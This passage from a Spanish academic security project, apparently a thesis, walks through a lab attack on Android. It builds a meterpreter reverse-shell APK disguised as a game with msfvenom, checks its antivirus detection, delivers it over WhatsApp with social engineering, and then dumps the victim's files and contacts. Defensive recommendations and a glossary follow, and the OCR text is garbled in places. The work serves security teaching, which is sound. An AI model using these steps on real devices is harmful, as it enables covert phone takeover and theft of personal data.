mediante el Framework de MSFVENOM, generando el archivo infectado [13],

rootakali:/home/kali/Escr
-0 Juego.apk LHOST=19

oriof msfvenom -p android/meterpreter/reverse tcp platform android
118 LPORT=4444 i

[-) No arch selected, selecting arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload

juego.apk

(a) Comando para creacion de malware (b) Malware creado
Figura 63. Creacion del Malware para SO Android

Se mide la calidad del malware creado subiendo el archivo infectado a VirusTotal
para que no pueda ser detectado por ciertos antivirus si el usuario lo tuviese
instalado en su dispositivo. Por lo general no se suele tener instalado un sistema

de prevencién en los dispositivos celulares o tablets.

&« ¢ @ @ | @ nttpsy/wwwvirustotal.com/gui/file/63292ddc2b97b9059d2eb0cide09340aa015412d37d610ce 18280044 1310672+ & T ¥

Z 63292ddc2b97b9059d2eb0cfdc09340aa0154f2d37d610ce18e80c44131ee73a

32 ) (1) 32 engines detected this file
63292ddc2b97b9059d2eb0cidc09340aa015412d37d6 10ce 18e80c44131e573a 9.95 KB 2020-05-31 20:10:22 UTC ]

juego.apk
android  mpk cve20124681 exploil
DETECTION DETAILS RELATIONS COMMUNITY
AegisLab () Hacktool AndroidOS Metasploit Blc AhnLab-V3 (D PUP/ANdraid Metasploit 54109
Alibaba (1) HackTool-Android/Mesploit 51c1b392 Arcabit ) Application HackTool MeterPreter AGR
Avast @ Android:Metasploit-G [PUP] Avast-Mabile (@ Android-Metasplait-Q [PUP]
AVG (D) Android:Metasploit-G [PUP] Avira (no cloud) (1) ANDROID/Dldr Agent PAF Gen
BitDefender (1) Application HackTool. MeterPreter AQR CAT-QuickHeal @ Android. Agent. ACZ
Cyren (1) AndroidOS/HackTool. A genlEldorado DrWeb () Android RemateCode. 6833
Emsisoft (1) Application HackTool MeterPreter AQR (B) eScan (1) Application HackTool MeterPreter AQR

Figura 64. Analisis de malware creado
Creado el malware, se inicia el Framework de Metasploit en una consola de

terminal y se ejecuta el servicio del listener o escucha que permitira conectarse

al dispositivo remoto una vez que se haya iniciado el malware
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sf5 » use exploit/multi/handler
msf5 exploit ) > c«ploit -3
Exploit running as backeround job 8.
Exploit completed, but no session was created.

started reverse TCP handler on 192.168.1.118:40444

Figura 65. Inicio de servicio Listener

El envio del malware se realiza por medio de una aplicacion de mensajeria
instantanea para dispositivos maéviles llamado WhatsApp, el cual posee una

version WEB que se inicia en SO Windows o Linux.

& WhatsApp

C & webwhatsapp.com

[

Para usar WhatsApp en tu computadora;

1, Abre WhatsApp en tu teléfono

2. Toca Mend | o Configuracion (& y selecciona
WhatsApp Web

3. Cuando se active la camara, apunta tu telefono hacla esta
pantalla para escanear el codigo

Figura 65. WhatsAppWEB en equipo virtual Android

El sistema atacante también realiza una sesion de WhatsAppWEB para poder

enviar el malware creado hacia el objetivo o victima

KallLinox ~ KaliTraining ~ Kali Tools = KaliDocs ~ Kali Foru
& s B N‘IIDAme’nuvv

Recibe nofificaciones de
mensajes nuevos
Activar notificaciones de escritorio

mio

Etj\}e}z%;%y%u%l %,a%ag

HATS
Mio Anterior e

Figura 66. WhatsApWEB en equipo virtual Kali Linux
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Se adjunta el malware creado para ser enviado a la victima, haciéndole creer al
mismo que es una aplicacion conocida, ademas, la aplicacién de mensajeria no

posee antivirus incluido, por lo que no se analiza los archivos enviados o
recibidos.

[P kali 1 %64 [Running] - Oracle VM Virtual ali 1 x64 [Running] - Oracle VM VirtualBox

B omO=|[=]

KaliLinux ~ Kall Training ali Tool s ali Forums
. Mio Anterior
3 :

Recibe notificaciones de Vista previa

mensajes nuevos

3 240 Actwar noticacanes de escrtono »
W juegoapk 10248 paquete de Android 175

(@) Adjuntando malware (b) Malware adjuntado

Mio Anterior

®c

Figura 67. Malware listo para enviar a la victima

El cliente o victima recibe el malware y realiza la descarga en su dispositivo
Android, cabe aclarar que el atacante convence a la victima a través de

ingenieria social para que siga los pasos que él lo indique.

(=] ]

®
® —

(a) Archivo recibido en dispositivo Android

Ay Este tipo de archivo puede dafiar tu dispostivo. jQuieres descargar x

juego.apk de todas formas? M imégenes | I
B Vvideos - F.#‘ f =
Cancelar Aceptar @ Audio W &=
(O Recientes qé‘ A 3
. r: o v— pp—ry descangoioey
(b) Advertencia de descarga (c) Archivo descargado

Figura 68. Descarga de archivo infectado

El atacante convence a la victima de realizar la instalacion; por lo general hay
una falta de cultura en la poblacion que hace que los usuarios no revisen los

permisos que necesitan las aplicaciones para su instalacion[14].
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i

MainActivity

LDeseas instalar la aplicacién? Esta tendra acceso alo
siguiente

tomar fotografias y graber videos

leer tus contactos
maodificar tus contactos

leer el contenido de tu tarjeta 5D
maodificar o eliminar el contenido de la tageta SO

L7 3]

MainActivity

iDeseas instalar la aplicacion? Esta tendrd acceso a lo
siguiente

4

o]
[

grabar audio
maodificar la configuracidn del sistema

enviar y ver mensajes SMS

leer tus mansajes de texto (SME o MMS)

recibir mensajes de texto (SMS)

e costarte dinang

& grabar audio
» . L escribir en el registro de llamadas
m madificar la configuracidn del sistema leer of raglstro de llamadas
- enviar y ver mensajes SMS leer la identidad y el estado del dispositivo
@ =510 puede costarte diners llamar directamente a nimeres de teléfono
leer tus mensajes de texto (SMS o MMS) ® ©sio punde costare dine
recibir mensajes de texto (SMS) @ acceder a la ubicacién aproximada (segun |a red)
% escrbiren el registro de llamadas acceder a la ublcacian precisa (segun el GPS v la red)
CAMCELAR  SIGUIENTE CANCELAR  INSTALAR
Figura 69. Permisos para la instalacion del malware
a & MainActivity
£ MainActivity
Se instald la aplicacion.
|ﬂ$ta |ﬂﬂdﬂ--- FINALIZADD  ABRIR

Figura 70. Instalacion completa

En el momento de iniciar la aplicacion se establece una conexién entre el

atacante y el usuario, logrando ingresar a la sesién creada y a través del

Meterpreter se podra ejecutar las acciones sobre el dispositivo remoto, sin que

la victima lo haya notado.
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msis5 exploit( Y > M Sending stage (73650 bytes) to 192.168.1.

147

[*] Melerpreter@ opened (192.168.1.118:4444 — 192.168.1.147 D046

) at 2020-05-28 19:5775T =o50e

psfs exploit( ) > sessions -1 |

Active sessions |

sSEsssssEsEERSESe

Id Name Type Information Connection

1 eterpreter dalvik/android _30_a69 @ localhost 192.168.1.118:4

Figura 71. Malware iniciado y conexion atacante-victima

Por medio del comando Help se puede visualizar el listado completo de
comandos existentes utilizables para el ataque a la victima. A continuacion, se

observa una muestra de los comandos usados sobre la victima

meterpreter > help

Core Commands

Command Description

2 Help menu

background Backgrounds the current session

bg Alias for background

bgkill Kills a background meterpreter script

bglist Lists running background scripts

bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel

disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings

exit Terminate the meterpreter session

get_timeouts Get the current session timeout values

guid Get the session GUID

help Help memu

info Displays information about a Post module

irh Open an interactive Ruby shell on the current session
load Load one or more meterpreler extensions

machine_id Get the MSF ID of the machine attached to the session
pry Open the Pry debugger on the current session

quir Terminate the meterpreter session

read Reads data from a channel

Figura 72. Lista de comandos

r > sysinfo
Computer : localhost

0s : Android 7.1.2 - Linux &4.9.194-android-xB6 _B4-gaf@1061 (xB6 _64)
eterpreter : damwmmrnm*

Figura 73. Informacion del dispositivo
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Mode Size Type Last modified Name

40666/ rw-rw-rw- 4096 dir 2020-04-24 13:56:18 -0500 Alarms

40666/ rw-rw-rw- 4096 dir 2020-04-24 13:56:03 -0500 Androad

40666/ rw-rw-rw- 4096 dir 2020-04-24 13:56:20 -0500 DCIM

40666/ rw-rw-rw- 4096 dir 2020-05-19 20:45:16 -050@0 Download

40666/ rw-rw-rw- 4096 dir 2020-04-24 13:56:19 -050@0 Movies

40666/ rw-rw-rw 4096 dir 2020-04-24 13:56:16 -0500 Music

40666/ rw-rw-rw- 4096 dir 2020-04-24 13:56:19 -0500 Notifications

40666/ rw-rw-rw- 4096 dir 2020-04-24 13:56:19 -0500 Pictures

40666/ rw-rw-rw- 4096 dir 2020-04-24 13:56:17 -0500 Podcasts

40666/ rw-rw-rw- 4096 dir 2020-04-24 13:56:18 -0500 RingtonesN
Figura 74. Listado del directorio

meterpreter > download Download
downloading: Download/descarga.jpeg — Download/descarga.jpeg

download : Download/descarga.jpeg — Download/descarga.jpeg
downloading: Download/seginfo — Download/seginfo
download : Download/seginfo — Download/seginfo

downloading: Download/juego.apk — Download/juego.apk

download : Download/juego.apk — Download,‘jue:’u.auk -|

; e —
P4 Android?.0 [Running] - O P 1 %64 [Running] Dacie UM VirtualBox

O a

Descargas

Imdgenes

€ T A
DISPOSITIVOS

Audio . @s

UBICACIONES

Videos

Recientes

§ Poeseapk B s=ginto m descageipeg

esearges

Figura 75. Descarga de la carpt Download

+] Contacts list dump

meterpreteér > dump_contacts
Fetching 146 contacts into 1ist
Contacts list saved to: contacts_dump_ 20200528200338.txt

Figura 76. Descarga de la lista de contactos
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6. MEDIDAS DE SEGURIDAD PROPUESTAS

En virtud de que la seguridad de la informacidon es importante, se recomienda

buenas practicas de proteccidn contra ataques al conectarse a una red wifi

publica o libre. Se compilan las recomendaciones y se las cataloga en la

siguiente tabla:

Problema

El deseo de obtener internet
gratis a través de una red
wifi libre.

No tener aplicaciones para
prevenir malware.

No tener actualizados los
parches de seguridad del
Sistema Operativo

Se desconoce las
consecuencias de
descargar e instalar
aplicaciones desconocidas
Se desconoce las
consecuencias de ingresar
URL’s desconocidas
Conectarse a  servicios
remotos sin ninguna
seguridad

No se suele configurar las
cuentas con alertas de
seguridad para notificar al

usuario en casos de

Recomendacion

Evitar conectarse a redes wifi que no posean

contrasenas.

Tener instalado y actualizado un antivirus.

Actualizar hasta el ultimo parche conocido
del Sistema Operativo

Mantener activada las configuraciones para
actualizaciones automaticas

Escanear con un antivirus los archivos
descargados y desconocidos

Evitar abrir los archivos que sean de dudosa
procedencia

Verificar que en las paginas web se utilicen
los certificados ssl como el https.

Verificar que la pagina web a utilizar sea
verdadera y propia de la institucion.

Utilizar aplicaciones VPN para asegurar una
conexion entre el usuario y su servicio en la
red.

Configurar las alertas de seguridad para que
el usuario sea notificado en casos de que
hayan ingresos sin consentimiento a su

cuenta
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posibles ingresos a sus
cuentas

Olvidos de la eliminacion de
redes libres de auto
conexion.

Demoras en solucionar un
problema con un profesional
para detectar problemas en

el equipo

Ciertos clientes optan por no
activar configuraciones
puesto que las advertencias
molestan al usuario.

No prevenir que la
informacion pueda estar
siendo recolectada por un
tercero al ingresar datos en
un servicio web.

Al instalar aplicaciones, el
usuario no toma en cuenta
los permisos que necesita la
misma

Los clientes no se detienen
a ver caracteristicas de
seguridad en las
aplicaciones o navegadores.
Los clientes piensan que es
poco probable que ocurra un

incidente al conectarse a

Borrar las redes publicas guardadas en el
dispositivo puesto que éstas se conectan
automaticamente.

Detectar ataques teniendo en cuenta el
rendimiento del equipo o actividades
inusuales, por ejemplo, que la web cam se
encienda sola, pérdida de informacion,
errores inusuales, etc.

Desconectar el dispositivo de la red, sea
alambrica o inalambrica, hasta que sea
revisado por el profesional

Tener activados las configuraciones por
defecto de los sistemas de seguridad, por
ejemplo firewalls, actualizaciones
automaticas, etc.

No iniciar sesidon de ningun servicio que
funcione con internet mientras se esté
conectado a una red wifi libre.

Optar por utilizar los datos moéviles.

Revisar los permisos y accesos a los
recursos que tendra cuando se instale la
aplicacion.

No instalar la aplicacion

Actualizar las aplicaciones y navegadores
que hagan uso de internet.

Verificar el brillo verde de la barra de tareas
de navegacion https.

Utilizar solamente los servicios que utilicen
al menos un método de autenticacion de 2
biométrico,

factores por ejemplo
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una red wifi e ingresar a sus
cuentas.

Se suele revisar los correos
electréonicos como si fuesen

todos genuinos

Muchas veces se desea
realizar un respaldo
automatico de la informacién
utilizando la red libre.

Se suele utilizar una sola
contrasefia para varias

cuentas por comodidad.

No se suele cerrar las

cuentas después de su uso

Se suele aceptar y saltar las
advertencias para continuar

navegando.

No contemplan seguridades
adicionales en los archivos

importantes

confirmacion por sms, preguntas secretas,
etc.
Eliminar o mover al correo no deseado, los
correos electronicos desconocidos
No hacer clic en los enlaces existentes
No descargar ni ejecutar archivos adjuntos
Desactivar la sincronizacién de archivos
cuando se utilice redes wifi publicas, evitando
la captura de paquetes o sniffing.

No utilizar la misma contrasefa en todas las
cuentas, ya que sila contrasefia se encuentra
comprometida, se tendra acceso a otras
cuentas.

No conectarse permanentemente a las
cuentas, por Ilo que se recomeinda
desconectarse después de utilizar la misma.
Prestar atencidn a las advertencias de
navegadores web cuando esta en paginas
web fraudulentas o intentan descargar
programas maliciosos.

Instalar una aplicacion que permita encriptar
informacion o  directorios  sensibles,
permitiendo el ingreso solamente por un

usuario y contrasefa a dichos datos.

Tabla 2: Recomendaciones ante redes wifi libres
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7. CONCLUSIONES

Se han cumplido los objetivos propuestos y con el alcance deseado, se ha podido

evidenciar que existe la posibilidad de tomar el control remoto de los dispositivos

informaticos por varios métodos, siendo la ingenieria social y explotacion de

vulnerabilidades las mas peligrosas y comunes en el medio, puesto que una

persona sin los conocimientos basicos de seguridad de la informacidén es

susceptible a los engainos, ademas del poco interés en adquirir informacion sobre

la seguridad de su dispositivo al no instalar programas para prevenir el acceso

de intrusos. Por ello, a través de este proyecto se ha logrado:

En el SO Windows XP se ha logrado explotar una vulnerabilidad directamente
sobre la victima, sin necesidad de pedir con engafos al usuario que instale
una aplicacién infectada, logrando el control total del equipo del cliente sin
que éste tenga conocimiento de que una tercera persona esta haciendo uso
de su equipo. Ademas, se realizd un cracking de contrasefias de usuarios de
Windows que se encontraban encriptados, utilizando herramientas
especializadas se ha logrado conocer las claves de acceso a una sesién de
Windows.

En el SO Windows 7 se ha logrado realizar la simulacién de un ambiente
controlado, donde el atacante realizé un malware que fue enviado a la victima
a través de un correo falso, haciéndose pasar por la empresa donde trabaja
el cliente y con ello pidiéndole instalar un archivo infectado para crear una
puerta trasera en el equipo para que el atacante pueda conectarse, con ello
se ha tomado control remoto total del equipo de la victima y se ha podido

visualizar y descargar informacion sin que el usuario lo descubra.

En el SO Android, de la misma manera se realiz6 un malware para
plataformas Android, donde el archivo infectado se envié a través de una
aplicacién de mensajeria instantanea conocida como WhatsApp y por medio
de ingenieria social se permitié que la victima confie en la persona que hace

el ataque y realice la instalacion al pensar que se trata de un juego y con eso
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crea una puerta trasera para que el atacante ingrese a su dispositivo sin

saberlo, logrando asi visualizar y descargar informacion..
Se ha verificado la eficiencia de los malware creados por medio de la base

de datos general de antivirus en sitio web de VirusTotal, logrando asi poder

mejorar el ataque.
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8. GLOSARIO DE TERMINOS
Red AD-HOC: Es una red inalambrica descentralizada que no depende de una
red de infraestructura preexistente.
Anti virus: Son programas que detectan y eliminan archivos o enlaces que
contengan malware.
Armitage: Es un administrador grafico utilizado para realizar ataques mediante
la utilizacion del Framework de Metasploit.
Captura de paquetes o Sniffing: Son capturas de paquetes en una red
alambrica o inalambrica por medio de herramientas especializadas.
Consola o Terminal: Es una forma de acceder al sistema por 6rdenes o
comandos.
Cracking de contrasenas: Recuperar contrasefias que se encuentran
encriptadas.
Direccion IP: Es un protocolo de internet Unico para identificar un equipo
informatico en una red.
Emkei: Sitio web que permite crear correos electronicos con una direccion de

remitente falsa, cuya pagina web oficial es https://emkei.cz/

Exploit: Explota o aprovecha un fallo de seguridad de un sistema informatico,
normalmente, de forma ilegal.

Explotacién: Es la actividad de utilizar un exploit y ejecutarlo con los
parametros configurados por una persona.

Firewall: Programa informatico que controla los accesos a un equipo por
motivos de seguridad.

Framework de Metasploit: Es un conjunto de programas disefiada para
explotar vulnerabilidades de equipos informaticos.

Hash: Es una funcion criptografica utilizada para generar identificadores unicos
e irrepetibles.

Red Hot-Spot: Es un punto caliente que ofrece acceso a una red de internet a
través de una red inalambrica.

Ingenieria Social: Consiste en engafiar a las personas para que brinden
informacion , utilizando técnicas psicologicas y habilidades sociales para

cumplir con metas especificas.
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John The Ripper: Programa de criptografia utilizado por comandos para
aplicar fuerza bruta y desencriptar contrasefias.

Johnny: Es una interfaz grafica que utiliza se vincula con John the Ripper como
base para descifrar contrasenas.

Kali Linux: Es un sistema Operativo basado en la distribucion de GNU/Linux
que posee herramientas especializadas para realizar auditorias de seguridad
informatica.

Keylogger: Es un software o hardware que se encarga de registrar las
pulsaciones que se realizan en el teclado, para posteriormente almacenarlas
en un fichero o ser enviadas por internet.

Listener: Es un servicio que se encuentra escuchando la sefal de inicio de un
Payload ejecutado en un equipo informatico para generar la conexion mediante
el Meterpreter.

Malware: Es un programa malicioso que tiene como objetivo infiltrarse o danar
un equipo o sistema de informacion.

Meterpreter: Es un intérprete de comandos que permite interactuar, de forma
segura, con un equipo informatico objetivo que se encuentra infectado o
conectado con el atacante.

MSFVenom: Es una herramienta del Framework de Metasploit para crear y
codificar archivos infectados que permitan la conexién con un equipo
informatico una vez que se haya iniciado en el cliente.

Nmap: Es una aplicacion utilizada para explorar redes y obtener informacion
acerca de servicios, sistemas operativos y vulnerabilidades derivadas del
conjunto de estos.

Nube de Mega: Es un servicio en la nube, donde se permite almacenar todo
tipo de archivos y ser descargados en cualquier parte del mundo.

Payload: Son parametros que se colocan en un archivo infectado que permiten
la conexion remota con un servidor que se encuentra en modo Listener o
Escucha.

Ransomware: Es un tipo de malware que realiza un secuestro de informacién
por encriptacién del mismo, y exigen un pago para restablecer.

Raspberry pi: Es un ordenador de placa reducida que funciona como un
computador y es de bajo costo.
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Router: Equipo que permite interconectar dispositivos informaticos en el marco
de unared.

Ruby: Es un lenguaje de programacion.

Shikata Ga Nai: Es una codificacion utilizada para encriptar o hacer invisible a
un archivo infectado, logrando pasar por alto por ciertos antivirus.

Subred /24: Es el rango maximo de direcciones privadas que puede tener una
red.

Troyano: Es un malware que al ser iniciado, abre una puerta a un atacante
para conectarse remotamente en el equipo informatico.

Virtual Box: Es un software que permite virtualizar otros sistemas operativos
como sistemas individuales dentro de otro sistema operativo anfitrion, cada uno
con su propio ambiente virtual.

VirusTotal: Sitio para analisis de archivos infectados en su pagina oficial

www.Virustotal.com

Wireshark: Es un analizador de protocolos utilizado para la captura y analisis

de paquetes en una red.
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